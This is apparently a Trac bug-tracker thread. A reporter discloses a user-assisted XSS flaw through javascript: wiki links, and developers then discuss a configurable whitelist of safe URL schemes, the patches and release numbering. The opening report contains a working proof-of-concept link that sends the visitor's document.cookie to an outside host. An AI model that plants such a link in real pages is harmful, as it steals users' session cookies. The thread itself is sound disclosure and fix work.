User-assisted XSS risk via javascript: links

[Matt McCutchen <matt@…>]

[javascript://%0Alocation='https://mattmccutchen.net/private/trac-javscript-link?'+encodeURIComponent(document.cookie); Click here to send me your cookies.]

This should be blocked by checking link targets against the same set of safe schemes that the HTML sanitizer uses.

[anonymous]

open your door

[Remy Blank]

Interesting. Thanks for the report!

Maybe even for 0.11.7.1?

[Remy Blank]

And removed the actual link before too many people click on it :)

[Remy Blank]

Suggested fix, breaks one test.

[Remy Blank]

The patch above (against 0.11-stable) is probably the most restrictive fix, as it restricts the link schemes to only those marked as safe in Genshi, that is, file:, ftp:, http: and https. This breaks one test that checks for the following links as being formatted correctly:

svn+ssh://secureserver.org
[svn+ssh://secureserver.org SVN link]
rfc-2396.compatible://link
[rfc-2396.compatible://link RFC 2396]

It would be nice to add a few schemes that are known to be safe, like ssh:, svn+ssh: or git:. But we will never catch them all, so how about an option [wiki] safe_schemes to allow customizing the list of good schemes?

[Remy Blank]

Make safe schemes configurable.

[Remy Blank]

This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the {{{#!html}}} wiki processor.

What say ye? Ok for 0.11.7.1?

(OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?)

[Christian Boos]

Replying to rblank:

This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the {{{#!html}}} wiki processor.

I wonder, is there any other unsafe possibility besides "javascript"? I know there are many ​funny variants to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to ​rfc:2396#section-3.1 (as we do with LINK_SCHEME​) then exclude "javascript", we should be safe, no?

What say ye? Ok for 0.11.7.1?

(OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?)

We picked 0.11.7.1 at that time because we had just one more security fix to add on top of 0.11.7 (attachment related). As time passed, there's been more fixes, so making a 0.11.8 release would indeed be possible now.

OTOH, 0.11.7.1 better conveys the "end of life" status of the 0.11-stable release line, and also we've been consistently talking about 0.11.7.1 in the commit messages (log:branches/0.11-stable?stop_rev=9338 ⇐ broken link btw!) and the code even (r9900), so keeping it would have my preference.

[Remy Blank]

Replying to cboos:

I wonder, is there any other unsafe possibility besides "javascript"? I know there are many ​funny variants to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to ​rfc:2396#section-3.1 (as we do with LINK_SCHEME​) then exclude "javascript", we should be safe, no?

Not necessarily. The page you linked above mentions vbscript:, mocha: and livescript: as unsafe schemes (granted, on older browsers only). But my reasoning was rather that ​a whitelist is always safer than a blacklist. You never know what kind of scripting browsers will support in the future (maybe one day we will finally have a python: scheme :-). Also, Genshi uses a whitelist as well (slightly buggy, though, as it only checks alpha-numerical characters, and therefore misses "+-.". I need to file a ticket about that).

About 0.11.7.1 vs. 0.11.8, sure, the .1 suffix does convey some information, but even if we included only one fix, we could still name it 0.11.8 for simplicity. Mercurial did that for 1.6.2, released one day after 1.6.1.

I'm perfectly fine with 0.11.7.1. Maybe for future releases, we could stick to 3 version components, though.

[Christian Boos]

Replying to rblank:

Not necessarily (…)

Ok, go for this fix then (0.11-stable as well).

I'm perfectly fine with 0.11.7.1. Maybe for future releases, we could stick to 3 version components, though.

I have the impression that packagers are more likely to upgrade to .1 security fixes releases than go for another minor release, even if those would be the same changes…

But what we can do next time we're on a tangent situation, is to post-pone the choice of the version number to the moment we make the release. So if we're indeed doing it as an "after thought" of a minor release, we could use a patch release, but if this turn out to be a more regular release, increment the minor number.

[osimons]

Replying to rblank:

I'm perfectly fine with 0.11.7.1. Maybe for future releases, we could stick to 3 version components, though.

I think that we should reserve the 4-numbered releases for the "re-issue" of a version. In the rare event where for instance we spotted some file missing in distributions or installs, or some similar reason like this important and highly specific fix. We shouldn't schedule a release like 0.11.7.1 with milestone and all - if we need it, it will be obvious. Anything else that is just "later" of varying importance should be 0.11.8(dev).

The 0.11.7.1 release would then make sense as a re-release of 0.11.7 with this fix - but without any other 0.11.8dev fixes that may be part of the branch. It would be a re-issue of a release for a very specific purpose, and we could also adjust the content of the tagged code to just include this fix and nothing else. In practice we could even svn copy from the 0.11.7 tag, apply the patch and update versions, and commit the new tag. Separately committing the patch to 0.11-stable/0.12-stable/trunk as the regular workflow dictactes.

[Christian Boos]

Replying to osimons:

I think that we should reserve the 4-numbered releases for the "re-issue" of a version.

Yes, and in case that was not clear from comment:6, this is just what was planned for 0.11.7.1 initially: add the attachment security fix to 0.11.7 and that's it.

However, this "last" 0.11 release never materialized for various reasons, mainly the focus on 0.12 from the active maintainers.

Anything else that is just "later" of varying importance should be 0.11.8(dev).

The problem is that a 0.11.8 version was never planned, as 0.11.7 was meant to be the last release of the 0.11-stable line. However we can have a "running" last milestone and never actually release it, like we did for milestone:0.9.7, milestone:0.10.6, …

The 0.11.7.1 release would then make sense as a re-release of 0.11.7 with this fix - but without any other 0.11.8dev fixes that may be part of the branch. It would be a re-issue of a release for a very specific purpose, and we could also adjust the content of the tagged code to just include this fix and nothing else.

That doesn't make sense in this case, as there is no reason to exclude what's already on 0.11-stable.

In practice we could even svn copy from the 0.11.7 tag, apply the patch and update versions, and commit the new tag.

And that would be very harsh for the mirrors…

So I pleaded to keep 0.11.7.1 for simplicity as that was the name we had, but actually doing the rename to 0.11.8 (and fix up for r9900) would have been faster, I imagine.

So I'd go for the following: rename the version to 0.11.8dev, rename the milestone to 0.11.8 and … leave it at this, as the branch was announced to be frozen anyway. People caring about getting the latest stable can always use it from svn, and packagers can cherry pick the security fixes they want.

We have enough work to get 0.12.1 out of the door!

[Remy Blank]

Patch applied in [9997].

Replying to cboos:

So I'd go for the following: rename the version to 0.11.8dev, rename the milestone to 0.11.8 and … leave it at this, as the branch was announced to be frozen anyway. People caring about getting the latest stable can always use it from svn, and packagers can cherry pick the security fixes they want.

That's fine for me, too. I have renamed the milestone and removed the due date, and I'll fix the version and [9900] in a minute.

[Remy Blank]

Version updated to 0.11.8 in [9998]. And now, if only I could find two items to commit right now… :)